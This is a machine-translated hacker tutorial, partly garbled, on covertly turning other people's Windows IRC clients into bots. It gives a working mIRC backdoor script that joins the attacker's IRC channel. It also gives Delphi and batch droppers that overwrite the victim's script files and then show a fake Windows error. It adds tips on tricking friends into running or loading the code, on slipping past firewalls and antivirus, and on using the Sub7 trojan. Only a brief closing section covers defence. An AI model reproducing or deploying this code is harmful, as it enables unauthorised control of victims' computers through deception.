This page has been robot translated, sorry for typos if any. Original content here.

Wir hängen den Bot auf Windows.



1. Intro.
2. Trojaner.
3. mIRC-Skripte.
I. Schreiben Sie Ihr Skript Backdoor
Ii. schreibe auf delphi prog, der die backdoor in das feindliche mIRC einfügt
Iii. Wir schreiben auf batch'ah prog, das die Hintertür in das feindliche mIRC einfügt
Iv. social engineering: wir treiben das prog voran =)
4. Beides im Vergleich.
5. Wie Sie sich schützen können.
6. Outro.

1. In unserer Zeit ist es unter den Besitzern beliebter Kanäle in Mode geworden, an einem Kanal ein Dutzend Bots aus verschiedenen Linux-Shells zu hängen, um sozusagen „Channel-Sicherheit“ zu gewährleisten. Natürlich habe ich nichts gegen Eidrops, aber wie kann man einfach sterbliche Benutzer sein, die keine Shell, kein SS, kein Wissen haben (wie die Elite von Channel # 31337 auf irc.dal.net.ru)? =)? In diesem Artikel werde ich Ihnen erklären, wie Sie einen Bot auf einen Computer mit einem win-ähnlichen Betriebssystem hängen.
IMHO, es gibt nur zwei Möglichkeiten, dies zu tun: Trojaner und Trojaner =) Beginnen wir mit dem ersten.

2. Wenn Sie sich vor dem Schließen auf MSN (irc.msn.com) befunden haben, ist es Ihnen wahrscheinlich gelungen, die n-te Anzahl von Bots auf den Kanälen #russian_chat, #russian_girls, #russian_andybig und so weiter zu genießen. Diese Bots sind also weit entfernt von Eiertropfen. Dies ist sozusagen Subsevens. Von so einem Pferd gehört? Sub7 ist der einzige Trojaner in meinem Gedächtnis, mit dem Sie einen IRC-Bot aus der Ferne aufhängen konnten (ich habe lange keine Trojaner mehr verwendet, daher weiß ich nicht, ob er Analoga enthält). Laden Sie also Sub'a von hier herunter und genießen Sie. Wer es nicht gewohnt ist, nach einfachen Wegen zu suchen, kann weiterlesen.

3. Die Möglichkeiten von Mirc-Skripten sind sehr beeindruckend. Darauf zu schreiben, ist eine Kleinigkeit, von einem einfachen Bot ganz zu schweigen. Nehmen Sie zum Beispiel das WarSatan-Skript. Es ist genau so ein "einfacher Bot" gebaut. Wenn Sie eine Verbindung zu Ihrem bevorzugten IRC-Server herstellen, verbindet das Skript den Gastbenutzer gleichzeitig mit dem Server irc.webchat.org und leitet ihn an die Kanäle #CHATOP, #MEKAH und #PANGKOR weiter. Das ist der ganze Mechanismus der Arbeit. Unsere Aufgabe ist es, die gleiche einfache Hintertür in Form eines World-Plugins zu schreiben.
I. Ich werde auf die wichtigsten Zeilen eingehen.

on 1:CONNECT:{
;#открываем соединение с твоим irc cервером
.sockopen 31337 irc_сервер его_порт
}
on 1:DISCONNECT:{
;#при разрыве соединения убиваем сокет
.sockclose 31337
}
on 1:SOCKOPEN:31337:{
;#авторизуемся на irc-сервере
.sockwrite -n $sockname USER BOT "" "localhost" :Satanic bot
.sockwrite -n $sockname NICK ник_бота $+ $r(1,999)
;#заходим на твой канал
.sockwrite -n $sockname join твой_канал
}
on 1:SOCKREAD:31337:{
;#этот скрипт автоматически отвечает на серверный ping
;#без него сервер будет кидать бота, потому что тот не отвечает на пинги
.sockread %tmp
if ($gettok(%tmp,1,32) == ping) {
.sockwrite -n $sockname PONG $gettok(%tmp,2-,32)
}
}


Wir entfernen die Kommentare, ersetzen unsere Werte, nummerieren die Zeilen (kopieren Sie einfach alles in den mIRC-Editor und speichern Sie - er zählt alles auf) und speichern die resultierende control.dll-Datei.
Die Hintertür selbst ist fertig. Jetzt muss es noch in eine andere script.ini eingefügt werden.

Ii. Hier ist der Delphi-Quellcode, der nach einer script.ini-Datei sucht und diese mit einem erfolgreichen Suchergebnis durch unsere ersetzt.

Es ist wichtig! Control.dll muss mit diesem Programm im selben Verzeichnis gespeichert werden.

program Project1;

uses
SysUtils,
windows,
shellapi;


const search = 'script.ini'; //файл который нужно найти и заменить
replace = 'control.dll'; //файл, которым надо заменить, должен быть
// в том же месте откуда запуститься эта прога =)


var buf: array [0..255] of char;
fl: PChar;
flag:boolean = false;

//процедура замены файлов
procedure Change(where:pchar);

function CopyFile(FromFile, ToDir : string) : boolean; //функция копирования
var F : TShFileOpStruct;
begin
F.Wnd := 0; F.wFunc := FO_COPY;
FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);
ToDir:=ToDir+#0; F.pTo:=pchar(ToDir);
F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION or FOF_SILENT;
{$I-}
result:=ShFileOperation(F) = 0;
{$I+}
end;

begin
DeleteFile(where);
CopyFile(replace,where)
end;


//процедура глоб. поиска
function Find(DirN: string):boolean;
var
tsr: TSearchRec;
Full: string;

begin
find:=false;
if FindFirst(DirN + '\*.*', faAnyFile, tsr) = 0 then
repeat
if (tsr.Name = '.') or (tsr.Name = '..') then continue;
Full:= DirN + '\' + tsr.Name;
if tsr.Attr = faDirectory then //если каталог
Find(Full);
until (FindNext(tsr) <>0)or(tsr.Name = search)or flag;

if tsr.Name = search //если нашли
then begin
find:=true;
flag:=true;
Change(pchar(DirN+'\'+tsr.Name));
end;

end;


//Основной блок программы
begin
if SearchPath(nil,search,nil,sizeof(buf),buf,fl)>0 then
Change(buf)
else
begin
Find('c:');
// если надо и на других дисках искать то можешь сделать так:
// if Not Find('c:') then
// if Not Find('d:') then
// if Not Find('e:') then
//etc....
end;

end.


Iii. Wenn Sie nicht aus Ihrer Familie stammen und vom Wort "Compiler" in die Hefe geworfen werden, schreiben wir ein solches Programm als Batch.

echo off
cls
if exist mirc.ini goto in_the_same_dir
if exist c:\mirc\MIRC.INI set mirc=c:\mirc
if exist c:\mirc\mirc\MIRC.INI set mirc=c:\mirc\mirc
if exist c:\irc\MIRC.INI set mirc=c:\irc
if exist c:\irc\mirc\MIRC.INI set mirc=c:\irc\mirc
if exist c:\chat\mirc\MIRC.INI set mirc=c:\chat\mirc
if exist c:\chat\MIRC.INI set mirc=c:\chat
if exist c:\progra~1\mirc\MIRC.INI set mirc=c:\progra~1\mirc
if exist c:\chat\looksharp\MIRC.INI set look=c:\chat\looksharp
if exist c:\mirc\looksharp\MIRC.INI set look=c:\mirc\looksharp
if exist c:\irc\looksharp\MIRC.INI set look=c:\irc\looksharp
if exist c:\progra~1\looksharp\MIRC.INI set look=c:\progra~1\looksharp
if exist c:\progra~1\trion\MIRC.INI set neo=c:\progra~1\trion
if exist c:\progra~1\neo-ra\MIRC.INI set neo=c:\progra~1\neo-ra
if exist c:\progra~1\NeoRa\Trion\MIRC.INI set neo=c:\progra~1\NeoRa\Trion
if exist c:\progra~1\NeoRa\MIRC.INI set neo=c:\progra~1\NeoRa
if exist c:\chat\NeoRa\MIRC.INI set neo=c:\chat\NeoRa
if exist c:\irc\NeoRa\MIRC.INI set neo=c:\irc\NeoRa
if exist c:\chat\neo-ra\MIRC.INI set neo=c:\chat\neo-ra
if exist c:\irc\neo-ra\MIRC.INI set neo=c:\irc\neo-ra
if exist c:\chat\Trion\MIRC.INI set neo=c:\chat\Trion
if exist c:\irc\Trion\MIRC.INI set neo=c:\irc\Trion
if exist c:\Trion\MIRC.INI set neo=c:\Trion
if exist c:\NeoRa\MIRC.INI set neo=c:\NeoRa
if exist c:\Neo-ra\MIRC.INI set neo=c:\Neo-ra
if exist d:\chat\NeoRa\MIRC.INI set neo_here=d:\chat\NeoRa
if exist d:\irc\NeoRa\MIRC.INI set neo_here=d:\irc\NeoRa
if exist d:\chat\neo-ra\MIRC.INI set neo_here=d:\chat\neo-ra
if exist d:\irc\neo-ra\MIRC.INI set neo_here=d:\irc\neo-ra
if exist d:\chat\Trion\MIRC.INI set neo_here=d:\chat\Trion
if exist d:\irc\Trion\MIRC.INI set neo_here=d:\irc\Trion
if exist d:\Trion\MIRC.INI set neo=d:\Trion
if exist d:\NeoRa\MIRC.INI set neo=d:\NeoRa
if exist d:\Neo-ra\MIRC.INI set neo=d:\Neo-ra
if exist d:\mirc\MIRC.INI set mirc=d:\mirc
if exist d:\mirc\mirc\MIRC.INI set mirc=d:\mirc\mirc
if exist d:\irc\MIRC.INI set mirc=d:\irc
if exist d:\irc\mirc\MIRC.INI set mirc=d:\irc\mirc
if exist d:\chat\mirc\MIRC.INI set mirc=d:\chat\mirc
if exist d:\chat\MIRC.INI set mirc=d:\chat
if exist d:\looksharp\MIRC.INI set look=d:\looksharp
if exist d:\chat\looksharp\MIRC.INI set look=d:\chat\looksharp
if exist d:\mirc\looksharp\MIRC.INI set look=d:\mirc\looksharp
if exist d:\irc\looksharp\MIRC.INI set look=d:\irc\looksharp
if "%mirc%"=="" goto no_mirc
deltree /y %mirc%\script.ini
copy control.dll %mirc%\script.ini
cls
:no_mirc
if "%look%"=="" goto no_look
deltree /y %look%\System\lookevents04.sys
copy control.dll %look%\System\lookevents04.sys
cls
:no_look
if "%neo%"=="" goto end
deltree /y %neo%\root\trionscr7.ini
copy control.dll %neo%\root\trionscr7.ini
cls
goto end
:in_the_same_dir
deltree /y script.ini
copy control.dll script.ini
:end
echo Your Microsoft Windows is not correctly installed.
echo Pleas re-install it and try again

Dieses Kanu sucht zufällig nach mIRC, NeoRa Trion und Looksharp. Die Wahrscheinlichkeit des Findens ist eher gering, daher ist es wünschenswert, den Betreff davon zu überzeugen, diese Datei zusammen mit control.dll im selben Verzeichnis wie sein IRC-Client abzulegen. Bei einem erfolgreichen Suchergebnis ersetzt die Datei die fremde script.ini durch unsere control.dll.
Wandeln Sie diesen bat'nik in exe'shnik um und Sie können ihn mit Ihren Freunden koppeln.

Iv. Ich denke, es liegt nicht an mir, Ihnen zu sagen, wie Sie jemanden zur Exe "drängen" können. Ich möchte nur ein Merkmal hervorheben. Geben Sie es zu, bitte lassen Sie die Benutzer Ihrer Exe laufen, die sogar dem entferntesten Benutzer misstrauisch sind. Sie können also den anderen Weg gehen. Kehren wir dazu zu Punkt I zurück. Nummerieren Sie die Zeilen des Skripts nicht, sondern fügen Sie sie einfach in die Datei joke.mrc ein. Alle Verteile es jetzt an deine Freunde mit den Worten: lege es in das Verzeichnis deiner kleinen Welt, gib "/ load -rs joke.mrc" in die Konsole ein und genieße alle Freuden des Plugins =)

4. Und was ist der bessere Weg, script.ini zu ersetzen?
1) Antivirus nicht abgefangen
2) wird von FairWalls nicht erfasst. Ich denke, viele werden sofort nachweisen, dass ZoneAlarm und AtGuard sie davor schützen werden. Ich erkläre das Besondere für sie: Wenn der mIRC in diesen beiden Firewalls als Zugelassener Server \ Client registriert ist, guckt der fv nicht einmal, wenn die Verbindung mit einer Hintertür geöffnet wird.
3) Es ist schwierig, selbst einen erfahrenen Benutzer zu erkennen / zu töten.

5. Und nun, wie Sie sich verteidigen können. Auch hier werde ich den Weg bei Sub7'om nicht berücksichtigen (da bei ihm alles klar ist: AVP + ZoneAlarm), ich werde sofort auf den zweiten wechseln.
Um eine Skript-Hintertür zu erkennen, sollten Sie eine Art mIRC-Plugin wie IPSearch verwenden, das den Server nach einem Benutzer mit derselben Benutzeroberfläche wie Ihrer durchsucht. Wenn es einen gibt, dann hat jemand definitiv einen Bot an Sie gehängt. Wird dies nicht gefunden, befindet sich der Bot entweder auf einem anderen Server oder Sie sind sauber.
Um einen Bot zu erkennen, können Sie auch denselben ZAlarm verwenden: Derzeit überprüfen die größten IRC-Server alle Clients auf Proxys. Auf welche Weise? Einfaches Port-Scannen. Wenn Sie also eine Verbindung zum Server irc.some.com herstellen und die Ports am Gehäuse von irc.lame.com gescannt werden, sollten Sie überlegen, ...
Wie töte ich die Hintertür? Wenn Sie Scripting nicht verstehen, installieren Sie einfach den IRC-Client neu.

6. Nun, was kann ich am Ende sagen? Verwenden Sie keine unbekannten Skripte und zwingen Sie andere nicht dazu =)